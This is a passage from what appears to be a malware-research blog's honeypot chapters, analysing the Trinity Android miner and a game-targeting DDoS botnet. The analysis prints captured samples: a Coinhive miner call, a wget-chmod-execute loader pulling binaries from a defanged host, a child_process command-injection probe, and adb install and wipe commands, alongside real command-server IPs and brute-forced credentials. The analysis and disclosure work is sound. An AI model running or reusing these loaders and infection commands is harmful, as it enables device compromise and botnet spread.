CoinHive.Anonymous('fwW95bBFO91OKUsz1VhlMEQwxmDBz7XE',{ threads: 4, throttle: 0.8 }); miner.start(); \u0026lt;/script\u0026gt; Coinhive. A service that let any website mine cryptocurrency in its visitors' browsers. That thirty-two-character code is the account the money went to. And then I looked at the date on the APK's files: 1 July 2018. 03The problem with that date Coinhive was, in its day, a phenomenon. At its peak some 32,000 websites ran it and it turned over between 150,000 and 250,000 dollars a month in Monero —depending on the estimate— of which it kept 30%. It spent fifteen consecutive months as the number one threat in Check Point's index. It turned up on the Los Angeles Times, on government websites, in YouTube ads, on the wifi of a coffee shop in Buenos Aires and on hundreds of thousands of MikroTik routers, starting with Brazil. And it shut down on 8 March 2019. Monero changed its algorithm, the business stopped adding up, and they closed the doors. Do the maths with meThis thing walked into my honeypot on 24 August 2026. It has spent eight years infecting other people's phones, burning their battery and their processor, to make money in a business that shut down more than seven years ago. Nobody switched it off. Nobody updated it. It just keeps rolling on its own. This is where I thought the story ended: a fossil, a joke, a harmless thing going round out of inertia. I went to check the obvious —that the domain was dead— and got the surprise of the day. 04The domain isn't dead coinhive.com still answers. And not only that: the exact file this thing downloads, /lib/coinhive.min.js, still exists and returns real JavaScript, 1.7 KB of it. But it isn't the old one. This is what's at that address today: coinhive.com/lib/coinhive.min.js · today// Credit to https://w3bits.com/javascript-modal/ window.addEventListener('load', function() { let url = 'https://www.troyhunt.com/i-now-own-the-coinhive-domain…'; createModal('This website attempted to run a cryptominer in your browser. \u0026lt;a href=\"' + url + '\"\u0026gt;Click here for more information\u0026lt;/a\u0026gt;.'); setTimeout(function(){ location.href = url; }, 5000); }); In May 2020, somebody gave the domain to Troy Hunt —the man behind Have I Been Pwned— for free, on the single condition that he do something useful with it. And what he did was this: instead of mining, the script puts a warning right in the victim's face telling them somebody just tried to mine in their browser, and five seconds later takes them to a page explaining it. When he wrote it up, in the spring of 2021, the domain was getting three million requests a day from people still infected without knowing it. Read that again, because it's deliciousThe CoinHive object no longer exists in that file. So the line new CoinHive.Anonymous(...) in our specimen fails with an error and mines absolutely nothing. What does happen is the other thing: the malware's browser loads the script, and the script does its job. And its job, now, is to draw the warning sign on the screen of that \"Test\" app nobody opens — whether the victim ever sees it or not. Seven years have passed and the thing hasn't noticed a thing. It keeps knocking on its old boss's door, and the person who answers now is somebody whose job is to rat it out. 05The specimen The APK the honeypot captured. SPECIMEN 005 · APK Trinity · Android miner over ADB ◈ FOSSIL · DO NOT RUN Typesigned APK · 46,525 B Packagecom.ufo.miner (activity: com.example.test.MainActivity) Codeclasses.dex of 5,016 B · no native libraries Built1 July 2018 FunctionWebView + Coinhive (defunct since 2019) SHA-2560d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257 And the certificate it's signed with deserves a chapter of its own: signing certificateOwner : CN=Android, OU=Android, O=Android L=Mountain View, ST=California, C=US EMAILADDRESS=android@android.com Valid from: 29 February 2008 Algorithm : SHA1withRSA (weak) SHA-256 : A4:0D:A8:0A:59:D1:70:CA:A9:50:CF:15:C1:8C:45:4D: 47:A3:9B:26:98:9D:8B:64:0E:CD:74:5B:A7:1B:F5:DC You have that key tooIt isn't Google's. It's the test key that ships in the Android source code, public since 2008, which anyone can sign anything with. It's there so developers can test, not to publish. Compare that with Sysorbit, which invented an entire Spanish company —with its department, its city and its province— to sign its APK. This one used the key that came pre-installed. 06What it actually is That ps | grep trinity from the capture was the thread. The family is called Trinity, and what landed in my honeypot is only one piece of the kit. The APK doesn't spread; it's just the miner. The thing that travels and infects is a separate binary called trinity, and it has a feature that makes it hard to kill: it has no command server. None. It makes up internet addresses at random, tries port 5555 blind, and when it finds an open device it pushes the whole kit onto it. So the one who visited me isn't \"the attacker\"The connection came from 112.90.220.245, in Shenzhen. But with no central server, that isn't anybody's lair: it's another infected phone or TV, scanning blind, that found me by chance. Its neighbours in the same block —.242, .243, .244, .246, .247— also show up scanning in public records. It's a whole infected neighbourhood. And it's still active: reputation services flagged it as malicious the same day it visited me. One note of honesty: the trinity binary never appeared in my capture, only the APK and the check for whether it was already there. What I'm telling you about the part that spreads comes from published analyses, not from my honeypot. 07Eight years going round A 2018 specimen reaching 2026 could be a fluke — one stray copy on some forgotten device. It isn't, and there are numbers. An ADB honeypot in Sydney publishes what it catches every month. My same file, with the same exact hash, appears in its reports every month from December 2025 to May 2026. And alongside it, the same companion binaries documented by a 2020 analysis: unchanged in six years. Nobody maintains them. Nobody improves them. They copy themselves, as they are, from device to device. In May 2026 that honeypot counted 630 distinct addresses handing things out over 5555. The traffic comes mostly from China and South Korea. A detail that amused meThe first serious analysis of this thing was published by Sophos in February 2019. To catch it they used an ADB honeypot built by Keysight and distributed inside T-Pot — which is, exactly, the same software running on my honeypot. Seven years on, the same software is still landing the same fish. 08Even the fossil had enemies Digging out that 2019 article —it's offline, it had to be pulled from the internet archive— turned up another piece: a rival script that went round uninstalling this thing. It downloaded its own payload, and finished like this: the rival gang's script (2019)# ...after installing its own: pm uninstall com.ufo.miner pm uninstall fbot # and it destroys itself rm $0 Two competitors evicted in one go, and traces wiped on the way out. It's the same pattern we've seen in RedTail and in Sysorbit: these things fight each other more than they fight us. An infected device is a scarce resource and there's a queue. 09Indicators (IOCs) TypeValue APK SHA-2560d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257 MD58844985fcd57b0311d1d4cb2ec13a1ef Packagecom.ufo.miner · activity com.example.test.MainActivity Receivercom.example.test.BootBroadcastReceiver (BOOT_COMPLETED) PermissionsINTERNET · RECEIVE_BOOT_COMPLETED (nothing else) Coinhive site keyfwW95bBFO91OKUsz1VhlMEQwxmDBz7XE Certificate fingerprintSHA-256 A4:0D:A8:0A:59:D1:70:CA… (Android's public test key) Install path/data/local/tmp/ufo.apk Entry vectorADB · port 5555 IP that brought it112.90.220.245 (Shenzhen, China Unicom) — infected device, not a C2 In the app listshows up as \"Test\", with no icon in the launcher How to tell whether you have itIt doesn't hide as well as the others: it shows up in the installed apps list under the name \"Test\", even though it puts no icon in the launcher. If you have a TV, a set-top box or an old phone with debugging left open and you see an app called \"Test\" you don't remember installing, there's your answer. And the underlying fix is the usual one: port 5555 should never face the internet. Almost all of this table has expiredAlmost everything in that table has expired. The campaign is still alive and in September it landed in the bait again with every name changed: the package is no longer com.ufo.miner but com.google.home.tv, which passes for a Google TV app. The full list is in Chapter 13. The one thing they didn't touch is com.example.test.MainActivity — the name Android Studio puts there by default and this fellow never changed. Eight years, a complete rotation of indicators, and the slip-up I was laughing at up there is the only one that still works for finding it. And what stays with me most is the image. A phone somewhere, infected who knows how long ago, opening a window nobody watches and dutifully calling an address to ask for instructions. On the other end there's no boss any more: there's somebody who picked up the keys to the abandoned shop and put up a sign. And the sign, which the thing displays without understanding it, reads: \"this website attempted to run a cryptominer in your browser\". After so many chapters cracking encrypted things open with a hammer, it turns out the best ending came from a bug that doesn't know the party's over. To be continued — the honeypot is still on. When somebody knocks on another door in an interesting way, there'll be an eleventh chapter. 🍯","date":"2026-08","fam":"Trinity","n":10,"spec":"Trinity (com.ufo.miner)","sum":"Another APK came in through the debug cable, but this one weighs fifteen times less than the last and doesn't carry a single line of native code. I opened it expecting something mediocre. What I found was a 2018 fossil still infecting phones to mine for a company that shut down seven years ago — and which today, without knowing it, warns its own victims.","t":"A miner that got a bit lost","tags":["ADB.Miner","Android","ADB","Coinhive","cryptojacking","Monero"],"tipo":"Android miner (cryptojacking)","url":"/en/chapter-10/"},{"body":"The watcher fired with a 1,177-byte file. A shell script. Nine lines of wget, one per architecture, in the style I have already opened three times on this blog. I was going to tag it as a repeat offender and get on with my day. I opened it anyway, out of habit. And the first thing I saw was that this one had a few characters too many. 01Five visits in one minute It didn't come once: it came five times, from the same address, within sixty seconds, trying a different password each time. Like someone working through a whole keyring on the same lock. 0sGets in with root / root. Downloads and leaves. 1sComes back with root / password. This time it signs off with echo PAYLOAD_EXECUTED. 2sAgain, root / 123456. 4sAnd again, user / user. 55sAnd a fifth time, root / 123123. All five type exactly the same thing: what it runs, five times overcd /tmp 2\u0026gt;/dev/null || cd /run 2\u0026gt;/dev/null || cd / wget hxxp://213.232.114[.]14/handshakebins.sh busybox wget hxxp://213.232.114[.]14/handshakebins.sh That backup busybox wget is standard practice in the world of small devices: a router or a camera often has no real wget, just the BusyBox multi-tool. Try both, just in case. That PAYLOAD_EXECUTED isn't for meIt's a beacon: a word the attacker prints so that their own orchestrator, reading the session output, knows the machine took the bait. Every family has its own. RedTail wrote redtail_bot_telnet_ok; Sysorbit sent a registration token. This one just says «payload executed». 02Nine downloads and one glaring mistake The script it fetches carries nine attempts, one per architecture, with the names typed in by hand: handshakebins.sh · 1,177 B-e #!/bin/bash -e cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://213.232.114[.]14/MIPS; chmod +x MIPS; ./MIPS; rm -rf MIPS -e cd /tmp || ... wget hxxp://213.232.114[.]14/MIPSEL; chmod +x MIPSEL; ./MIPSEL; rm -rf MIPSEL -e cd /tmp || ... wget hxxp://213.232.114[.]14/SH4; ... -e cd /tmp || ... wget hxxp://213.232.114[.]14/X86_64; ... -e cd /tmp || ... wget hxxp://213.232.114[.]14/ARMV6L; ... -e ... and so on with I686 · I586 · M68K · ARMV4L The strategy is brute force: fire all nine and let whichever one can, run. A MIPS device will ignore the other eight and execute its own. But look at the start of each line. Those -e markers shouldn't be there. They come from generating the file with an echo -e in a shell where that flag doesn't exist: instead of interpreting it, it wrote it into the file. The script still works —bash tries to run a command called -e, fails, and carries on with the rest of the line— but it's the first sign of someone in a hurry who checks nothing. The second sign is considerably worse. 03All nine names are lying I pulled three of the nine binaries and, before looking at anything else, asked the system what they were. It's the first thing I always do, and it takes a second: file *.binX86_64.bin: ELF 32-bit LSB executable, ARM, EABI4 MIPS.bin: ELF 32-bit LSB executable, ARM ARMV4L.bin: ELF 32-bit LSB executable, Renesas SH The one called X86_64 is ARM. The one called MIPS is ARM. The one called ARMV4L is a Renesas SH. Not one of the three is what it claims to be. This is not a cosmetic detailThe loader fires all nine downloads blind and trusts that only the right one will run. If the names don't match, x86 machines never get infected: they download an ARM binary their processor can't read, and that's the end of it. Whoever set up that server uploaded the files crossed over and is losing victims without noticing. And it's a failure that never surfaces: the campaign keeps working on ARM devices, which are the majority. Nobody is going to complain. Compare it with the XorDDoS from Chapter 1, another family and another world: that one sent uname -m to its own server so it would return exactly the right binary, and along the way renamed wget to good and curl to cool, so no rival botnet could download anything on that machine afterwards. That was craft. This is haste. 04Two addresses, two worlds There are two different servers in this attack, and they have nothing in common. The one that comes in —45.135.194.26, hosted in Germany— is utterly burned: 463 reports from 280 distinct users on AbuseIPDB, and fourteen VirusTotal engines calling it malicious. It's a throwaway address, and its job is to be exposed. The one serving the payload —213.232.114[.]14, in the Netherlands— was, when I checked, spotless: zero detections, a single report, unknown to abuse.ch. The split makes senseThe IP doing the noisy work —scanning half the internet with root/root— fills up with reports within days and ends up on every blocklist. The one holding the goods is only ever visited by victims that already took the bait, so almost nobody sees it and almost nobody reports it. They burn one and protect the other. A curiosity: the first one's range is registered to the same holder as the one behind Sysorbit's command server, four chapters ago. This business concentrates in very few places. And that \"the same\" deserves a correction, because I rounded it off too neatly when I wrote it. In the internet registries there are two different things that are easy to confuse: whose name a range of addresses is in, and who announces it to the rest of the network. They don't have to be the same. RangeRegistered toAnnounced by 45.135.194.0/24 — the one that attacked mePFCLOUD-NETAS51396 · Pfcloud UG 176.65.139.0/24 — Sysorbit's C2PFCLOUD-NETAS219502 · Storm Industries LLC Both ranges are registered to the same holder. But Sysorbit's isn't announced by them: it's put out onto the network by a different company altogether. So what the two cases share isn't exactly \"the provider\": it's the owner of the address space, with two different routes out to the internet. It may look like nitpicking, and it isn't: if somebody tries to follow this trail and searches by the ASN, in one case they find Pfcloud and in the other they find nothing. You have to know which of the two things you're asking about. 05What the antivirus engines say (and what they don't) With the hashes in hand I went to see what was already known. VirusTotal had the script from that same day, 31 out of 75 engines, already up there before it ever reached me. One of the binaries was there too, at 33 out of 75, with a label: the industry's verdicttrojan.gafgyt/tsunami · tags: gafgyt · tsunami · ddos «Gafgyt/Tsunami, DDoS». Translated: a denial-of-service botnet from the usual family. And that, normally, is where it ends: the sample gets filed under its label and nobody looks again. But a label is not an analysis. It doesn't say who it obeys, or what it can do, or what the person paying for it uses it for. It says what it resembles. So I took the binary to the lab. And it turned out to be unstripped: the author left the names of his own functions inside — six hundred and twenty-eight of them. That isn't reading assembly blind any more; that's being handed the book's index. What that index said is the next chapter. One preview: among the functions there is one called fortnite_flood. 06Indicators (IOCs) TypeValue Loader SHA-256f7134ec664ca003c740337cf7b2fbba1162430d86ca1d7a2b5c14fe0463d261b File namehandshakebins.sh (1,177 B) · VT 31/75, first seen 2026-08-25 11:20 UTC Binary SHA-256 (Renesas SH)b297dc8f54f612f92c26735ab50e1360057df3909556d85e6439e695aa646148 — VT 33/75, gafgyt/tsunami Binary SHA-256 (ARM)0658e79b91e732723b540ee7040eb0289c497f781d750e42b25dfcf10d233f50 Binary SHA-256 (ARM EABI4)5a21c34ff54ab1a92246b9cfba815ed187fe636b9350d41e26c5e4aa8f4bf891 Payload server213.232.114.14 (VirMach / xTom, AS3214) · nine per-architecture binaries, with the names crossed over Attacking IP45.135.194.26 (Pfcloud UG, AS51396) — 463 reports on AbuseIPDB Beaconecho PAYLOAD_EXECUTED Credentials triedroot/root · root/password · root/123456 · root/123123 · user/user Way inSSH · port 22 · brute force Seventeen days onThe division of roles described in §04 — one IP that burns and another that survives — can be measured. I looked all three up again on 11 September: · 45.135.194.26, the one that attacks: from 463 reports to 855, and from 280 distinct users to 429. Still working, still burning. · 213.232.114.14, the delivery one, the \"spotless\" one: from 1 report to 10, the latest that same day. Starting to catch fire, three weeks on. · 45.95.168.149, the actual command server: zero reports, same as day one. The only thing that has moved is its VirusTotal score, from 6 to 13. The piece nobody sees still isn't being seen. Which is precisely the chapter's thesis, now with a clock on it. To be continued — in Chapter 12 I open the binary. It came unstripped, with the names of all six hundred and twenty-eight of its functions left on. 🍯","date":"2026-08","fam":"KHserver","n":11,"spec":"KHserver (handshakebins.sh)","sum":"A 1,177-byte loader landed: nine lines of wget, one per architecture, in the style I have already opened three times on this blog. I was going to file it as a repeat offender and get on with my day. I opened it anyway, out of habit — and the first thing I saw was that it had a few characters too many.","t":"The bot that bragged — and couldn't be bothered","tags":["botnet","DDoS","IoT","SSH","brute force","Cowrie"],"tipo":"Botnet (DDoS for hire)","url":"/en/chapter-11/"},{"body":"When I open one of these, the normal thing is to start blind: mountains of assembly, functions called FUN_00129e68, and hours of work to find out which one matters. Not here. This one came unstripped — the compiler kept the names the author gave every function and nobody removed them before shipping it. 628 functions with their first names on. It's like being handed a closed book with the index stapled to the cover. I read the index. And that was all it took to know what this thing does for a living. 01The book's index readelf · functions (extract of 628)exploit_dasan_gpon cod_flood killer_loop exploit_huawei fortnite_flood watchdog_maintain exploit_draytek r6_flood scanner_loop exploit_totolink rust_flood report_exploit exploit_tplink vseattack findRandIP exploit_zte udp_amp_flood processCmd exploit_react2shell tls_hello_flood initConnection exploit_cve2025_34152 tcp_synack_flood table_init Three columns and three answers: who it attacks, who it tries to exploit and how it stays alive. Let's go in order, because the second column is misleading. 02This is sold to drop matches The processCmd function is the one that interprets what the boss sends. Inside, it is a very long list of comparisons against specific words: the menu of the business. processCmd · full vocabularyUDP · CUDP · UDPBYPASS · STD · TCP · CTCP · SYN · ACK · TLS · PATCH UDP_AMP · UDP_FRAG · UDP_ICMP · UDP_RAND · RESOURCE TCP_SYNACK · TCP_ACKPSH · TCP_FRAG · TCP_OPT OVHHEX · NFOHEX · VSE · CVSE · RUST · FORTNITE · COD · R6 SCANNER · TELNET · REP · ON · OFF The first half is any botnet's generic arsenal: flood with packets one way or another. The second half is the giveaway. FORTNITE · COD · R6 · RUST — flood methods tuned for Fortnite, Call of Duty, Rainbow Six and Rust. VSE · CVSE — the Valve Source Engine: Counter-Strike, Team Fortress and company. OVHHEX · NFOHEX — OVH and NFOservers, the two big game-server hosts. Both advertise DDoS protection; here there are two commands dedicated to getting around it. Nobody writes a command called FORTNITE by accident. This is not a generic botnet someone uses for whatever comes up: it is a denial-of-service service for hire, aimed at a very specific customer — the one who wants his rival's match to drop. He pays, types COD 1.2.3.4 60, and sixty seconds of somebody else's evening go up in smoke. A note on the vocabularyOne of the commands is named after a racial slur. I won't reproduce it. I note it because it is part of the portrait: this isn't written by an organisation, it's written by someone who never expects anyone to read his code. 03Fifteen exploits with surnames The other column is a catalogue of vulnerabilities, and there is no guesswork involved either: the author labelled them himself, most with a CVE number, in strings that travel inside the binary. the catalogue, exactly as he wrote itD-Link_DSL_CVE-2016-20017 Totolink_CVE-2025-28137 Dasan_GPON_CVE-2018-10561 D-Link_CVE-2025-29635 TBK_DVR_CVE-2024-3721 Linksys_CVE-2025-9528 Four-Faith_CVE-2024-12856 CVE-2025-34152 ZTE_ZXV10_RCE React2Shell_CVE-2025-55182 Nine years of holes in one file, from 2016 to 2025, and seven of them from the last two years. That already says something: this doesn't look like a kit downloaded and forgotten, but like something somebody maintains. Two caught my eye. CVE-2025-34152 is an unauthenticated command injection in a Chinese wifi repeater, scoring 9.4. And the last one made me sit up straight. 04The exploit that wasn't React2Shell —CVE-2025-55182— is about as big as anything that has happened on the web recently: unauthenticated code execution in React Server Components, a perfect 10, CISA's known-exploited catalogue, and half the internet patching in a hurry. Finding it inside a router bot is like opening a plumber's toolbox and finding a sniper rifle. So I went to read the function. Here it is in full, assembly on the left, reconstructed code on the right: The whole function, exactly as Ghidra reconstructs it. It opens a socket, sends a request, checks whether a given string appears in the response, and returns true or false. It doesn't download, execute or install anything. (Click to enlarge.) And this is all it sends: exploit_react2shell · the requestPOST /api/run HTTP/1.1 Host: %s Content-Type: application/json Content-Length: 50 {\"code\":\"require('child_process').exec('id')\"} Then it looks for the string uid= in the response. If it finds it, it declares victory. That is not React2Shell. The real vulnerability is an insecure deserialisation in the Flight protocol React uses to serialise its server components; exploiting it requires building a very specific message against a very specific endpoint. What this function does is knock on a door called /api/run and ask whether anyone in there is willing to run whatever it's handed. It's a generic probe, the kind that has been around far longer than that CVE has had a number. He put the fashionable name on what he already hadThere is not a single attempt to exploit CVE-2025-55182. There is a three-line probe rebranded with the name of the flaw that was in every headline. It's marketing, not capability. And it works: if I stop at the list of names and never open the function, today I would be writing that this botnet exploits a CVSS 10. I'd have written it in good faith, and it would be false. 05And then I looked at the other fourteen If one was lying, the rest had to be checked. I opened exploit_dasan_gpon, the 2018 one, which is a real flaw and among the most exploited in the world. And I found exactly the same function, traced over, changing only the text it sends: exploit_dasan_gpon · decompiledfd = socket(AF_INET, SOCK_STREAM, 0); connect(fd, target, 16); sprintf(request, TEMPLATE, ip); send(fd, request, strlen(request), 0); n = recv(fd, response, 1023, 0); close(fd); return strstr(response, \"uid=\") != NULL; // ← and that's where it ends All fifteen follow this mould. They connect, ask, check whether the answer carries uid=, close and return true or false. None of them downloads anything. None installs anything. None infects anything. And what do they do with that true or false? This — the whole of report_exploit, one line: report_exploit · in fullsockprintf(c2_socket, \"REPORT EXPLOIT %s %s:%d\", ...); It tells the boss. And that's it. What this actually meansThe bot doesn't spread with those fifteen CVEs: it uses them to search. Every infected device walks the internet at random (findRandIP), knocks on the doors of half a catalogue of routers and cameras, notes which ones sound hollow and sends the list home. The botnet is, on top of a weapon, a distributed reconnaissance network — paid for with its victims' bandwidth, who on top of hosting the critter are surveying the internet for its owner free of charge. Its real propagation is the same as ever, the one that brought it to me: brute force against SSH and telnet with root/root. The old way still works better than the new one. 06The boss doesn't live where I thought Everything pointed at 213.232.114[.]14, the server handing out the binaries. But on startup, the bot doesn't call there. And its real address appears in no string at all: it is split into four loose numbers and only comes together at the moment of connecting. initConnection · decompiledszprintf(target, \"%d.%d.%d.%d\", table_a[i], table_b[i], table_c[i], table_d[i]); connectTimeout(sock, target, 888, 30); I went to read those four tables in the program's memory. Inside were 45, 95, 168 and 149. And right next to them, the port: 888. The command server is 45.95.168.149, port 888, hosted in Croatia. And nobody has it on file: zero reports on AbuseIPDB, unknown to abuse.ch, six engines out of seventy-five on VirusTotal. It is the most valuable piece of the whole analysis and precisely the one that shows least. But look at that [i]. The index goes up on every connection attempt and rolls back to zero at three: the code is written to rotate between four servers. Only one is configured. The sum that doesn't add upIf the first connection fails, the bot adds one to the index and reads the tables one position further along — where there are no addresses any more, just whatever was stored next. On the second attempt it builds 95.168.149.888: an address that cannot exist, because no number in an IP can go above 255. On the third, worse things. The result: this bot gets exactly one shot at finding its boss. If the server is down at that moment, or the network blinks, the infected device sits there calling at impossible doors until somebody unplugs it. 07And then Nikki turned up With the analysis all but closed, going through leftover strings, I ran into one that fitted nowhere. Not a request, not a command, not an error message. Written character by character in hexadecimal, as if someone hadn't wanted it to stand out. the string, and what it says4E/x31/x6B/x4B/x31/x20/x21/x73/x69/x20/x4D/x33/x75/x79 ... → N1kK1 !si M3uy L0Vr3 \u0026lt;3 Pa2rCH M2 A44rCK Leetspeak: vowels swapped for numbers, a typo every other word, and a heart in the middle. «Nikki is my love ❤». And I sat looking at it for a while, honestly. After a whole day taking apart a machine built to ruin strangers' evenings, this turns up. Somebody, somewhere, between a command named after a racial slur and a function for dropping Fortnite servers, stopped to hide the name of the person he likes. I even had the ending of the chapter worked out: the bot goes on circling through routers belonging to people who know nothing about any of this, repeating in hexadecimal that Nikki is his love. Lovely. And since I had five minutes before writing it, I did what I always do before publishing anything: search for the exact string, in case someone had seen it before. So much for love. 08Five years earlier, and not his The same sentence, letter for letter, is documented in an analysis from December 2021. A different botnet, SBIDIOT, attributed to a different person, five years before mine landed in the honeypot. And there the sentence isn't hidden anywhere: it is the payload sent by the POXI attack command. That is, the contents of the packets the botnet fires at its target. I ran back to my binary to check who used the string. Here is what Ghidra says: references to the stringDATA 00021140 → '4E/x31/x6B/x4B/x31/x20/x21/x73/x69/x20...' used by: UDPBYPASS ← an attack function Same thing. It isn't a hidden dedication: it's ammunition. It isn't kept so nobody finds it — it's kept to be fired, thousands of times a second, inside the packets that take somebody down. And the family resemblance doesn't stop there. Compare the two command menus, five years apart: SBIDIOT (2021) vs. the one in my honeypot (2026)SBIDIOT: R6 · FN · PUBG · 2K · ARK · BO4 · OVHHEX · NFOV6 · STD · POXI · RAW ... mine: R6 · FORTNITE · COD · RUST · VSE · OVHHEX · NFOHEX · STD · PATCH ... Same targets, same game-server hosts, some commands with identical names. It's the same lineage. What landed in my honeypot isn't a creation: it's a descendant, with new exploits glued on top and the same old skeleton underneath. And one last detail, the one that finished me offLook at how the string is written in my sample: 4E/x31/x6B — with forward slashes. In the original source it would carry backslashes (\\\\x31\\\\x6B), which is what the compiler turns into the actual text. Here the slashes are the wrong way round, so the compiler converted nothing: what this bot fires inside its packets isn't «Nikki is my love», it's the raw hexadecimal notation. In other words: he copied someone else's love note — and copied it wrong. 09Indicators (IOCs) TypeValue Command server (C2)45.95.168.149 : 888/TCP (MAXKO d.o.o., AS211619) — on file nowhere C2 protocolREPORT EXPLOIT %s %s:%d · REPORT TELNET %s:%s:%s:%d · SCANNER TELNET \u0026lt;ON|OFF\u0026gt; · «Telnet brute set to %s» Attack commandsUDP · CUDP · UDPBYPASS · STD · TCP · CTCP · SYN · ACK · TLS · PATCH · RESOURCE · UDP_AMP/FRAG/ICMP/RAND · TCP_SYNACK/ACKPSH/FRAG/OPT · OVHHEX · NFOHEX · VSE · CVSE · RUST · FORTNITE · COD · R6 Embedded exploits (probes)CVE-2016-20017 · CVE-2018-10561 · CVE-2024-3721 · CVE-2024-12856 · CVE-2025-28137 · CVE-2025-29635 · CVE-2025-9528 · CVE-2025-34152 · CVE-2025-55182 (bogus) · ZTE ZXV10 · Huawei · DrayTek · TP-Link · ADB · DD-WRT Internal marksKHserverHACKER · KHcommSOCK Masquerades askhugepaged · kthreadd · kworker · systemd · dbus-daemon Persistence/dev/watchdog and /dev/watchdog2 · oom_score_adj (so the kernel won't kill it) Built withAboriginal Linux (the usual toolchain for kits in this family) UDPBYPASS payload«4E/x31/x6B/x4B/x31/x20…» — inherited from SBIDIOT (2021), where it was the POXI command's payload The disguise has a seamIt passes itself off as khugepaged, kthreadd or kworker — kernel-thread names nobody looks at twice in a ps. But kernel threads have no command line, because they aren't programs: the kernel names them itself. The impostor does have one, and that is where the seam shows. A negative, in case anyone comes after meI pulled three of the nine binaries down and analysed one. Just in case, I looked at the other two: they carry 955 and 910 symbols against this one's 628. They look like they bring more and they bring nothing — the 492 extra functions are internals of the C library (__GI_*, __rpc_*, pthread_*), language plumbing. Not one new capability. I'm writing it down so the next person doesn't lose an afternoon opening them. What stays with me is the picture of an ordinary router, in the living room of someone who knows nothing about any of this, calling port 888 on a machine in Croatia every few seconds to ask whose turn it is today. And when its turn comes, it will fire thousands of packets a second at the server of somebody who only wanted to play a match. Inside every one of those packets travels a five-year-old love note, written by a different person, for a Nikki who most likely knows nothing about any of it — and which, thanks to some slashes pointing the wrong way, doesn't even read as words any more. Nikki, you are loved. Badly, but loved. To be continued — the honeypot is still on. When somebody knocks on another door in an interesting way, there will be a thirteenth chapter. 🍯","date":"2026-08","fam":"KHserver","n":12,"spec":"KHserver (ELF ARM, unstripped)","sum":"The binary arrived unstripped: its author left inside the names of all six hundred and twenty-eight functions he wrote. It is like being handed a closed book with the index stapled to the cover. Here I read it end to end, function by function, until I reach the one string that fitted nowhere.","t":"Nikki, you are loved","tags":["SBIDIOT","Ghidra","booter","DDoS","React2Shell","reverse engineering"],"tipo":"Botnet (DDoS for hire)","url":"/en/chapter-12/"},{"body":"I hate leaving things half done, and chapter 10 left me one. I caught Trinity's miner —the com.ufo.miner APK, the fossil still calling a dead Coinhive— but I was honest about it: the binary that actually travels and infects, the one simply called trinity, never reached my honeypot. I told that part second-hand. It stuck in my throat. Well, the honeypot holds a grudge. Three weeks later, well into the small hours, somebody pushed three files at once down the debugging cable. And one of them was, at last, the missing one. A word before we startWhat follows is told exactly as I lived it, in the order I lived it. After publishing it I found something out that doesn't change a single fact you are about to read, but does change who deserves part of the credit. I am not telling it here because it would spoil the path: it is all in the postscript at the end. If you are the sort who would rather know first, jump there and come back. 01The missing one All three landed in the same minute, over ADB: two ARM ELFs and a blob that file doesn't even bother to classify (data, full stop). A strings on the second binary settled it in the first line: strings · trinity (extract)com.ufo.miner com.ufo.miner/com.example.test.MainActivity /data/local/tmp/trinity /data/local/tmp/ufo.apk /data/local/tmp/xig /data/local/tmp/endat adb -s %s:5555 get-state adb -s %s:5555 install %s adb -s %s:5555 push %s %s adb -s %s:5555 shell \"am start -n %s\" adb -s %s:5555 shell \"rm -rf /data/local/tmp/*\" There's the whole kit, in the clear: the same package and the same activity as chapter 10 (com.example.test, the project nobody renamed), the map of /data/local/tmp, and the full set of adb commands an infected device uses to infect the next one. Not second-hand. Right in front of me. 02And then it fought back Given how much I'd wanted this, I loaded it into Ghidra expecting to read it in one sitting. It wouldn't have it. What came out wasn't code: it was a tangle of nested while(true) and magic numbers with no rhyme or reason. trinity · what the decompiler returnsiVar1 = -0x1b614514; while(true){ while(true){ while(true){ if(iVar1 == -0x771841f2){ ... iVar1 = -0x55f9c47e; } if((~((x-1)*x) | 0xfffffffe) == 0xffffffff) ... // this is always true This has a name: control-flow flattening. Instead of chaining its blocks like a normal program (do A, then B, then C), the thing puts them all inside one loop and uses that variable —iVar1, the magic numbers— to decide in secret which one comes next. The real graph disappears. It's like a connect-the-dots drawing with the numbers rubbed out: every dot is right there in front of you, but the order —the only thing that turns it into a drawing— he kept for himself. And on top of that, it's padded with opaque predicates: rigged conditions like the one above —(x-1)*x is always even, so the comparison always gives the same answer— put there purely so you can't tell which branch is the real one. And this is why the hash is no use hereThe numbers that drive that loop get re-rolled on every build, and that has a measurable consequence. I took two trinity binaries captured on different dates, of exactly the same size — 239,388 bytes each — and compared them byte by byte: they differ across 89 % of them (212,862 out of 239,388). They look like two different programs. Then I compared their strings: 907 out of 907, identical. The code mutates completely; the string table doesn't budge. There it is, with a number on it, what this log has been repeating since Chapter 1: a hash identifies a file, not a critter. Against this, the signature that holds is the strings, or the behaviour. 03Three locks I went at it the blunt way, with the three tools anyone has to hand. And here's the honest part: not one of them opens it alone. Ghidra decompiles it flattened and unreadable. angr —which doesn't run the binary, but works out its paths mathematically— blows up: 542 states in 509 steps, lost in the fog of opaque predicates before getting anywhere. angr's decompiler —which sometimes undoes these tricks by itself— spits it out just as flattened. And underneath all that there is a third lock, the quietest one: the addresses are split. Every call and every string doesn't point somewhere fixed, but to a piece + another piece + an offset, added up on the fly. That's why neither Ghidra nor angr can draw who calls whom: the graph comes out empty. This is, by some distance, the best protected thing that has ever landed in my honeypot. 04What I did get by reading Something resisting you doesn't mean walking away empty-handed: flattening gets in the way of reading, not of what the thing does. Cross-referencing the strings that are in the clear with the shape of the functions, the skeleton comes out whole, and confirms first-hand what in chapter 10 I told on loan from Keysight's analysis: trinity · the engine, reconstructedseed_random(); // once, at startup while(true){ ip = random_ip(); // any address on the internet if( is_blacklisted(ip) ) continue; // reserved ranges infect(ip); // adb connect -\u0026gt; push -\u0026gt; install -\u0026gt; am start } It's a textbook IoT worm: seed the randomness, make up an IP, try port 5555 blind, and if it finds an open Android, push it the whole kit and start it. It has no command server. None — just as chapter 10 said. And it carries a blacklist of ranges in a 1024-bit map: the same fingerprint Mirai made famous. Recognisable lineage, with armour XorDDoS and Mirai never put on. 05The third piece, and the key left in That left the blob file couldn't read: endat, 334 KB of noise. It starts with 127 lowercase letters, a zero, and from there on, nothing legible: endat · the first bytesnwlrbbmqbhcdarzowkkyhiddqscdxrjmowfrxsjybld... // 127 bytes 00 27 32 06 42 a2 27 46 18 fe e9 ac ... // and here the noise starts That header 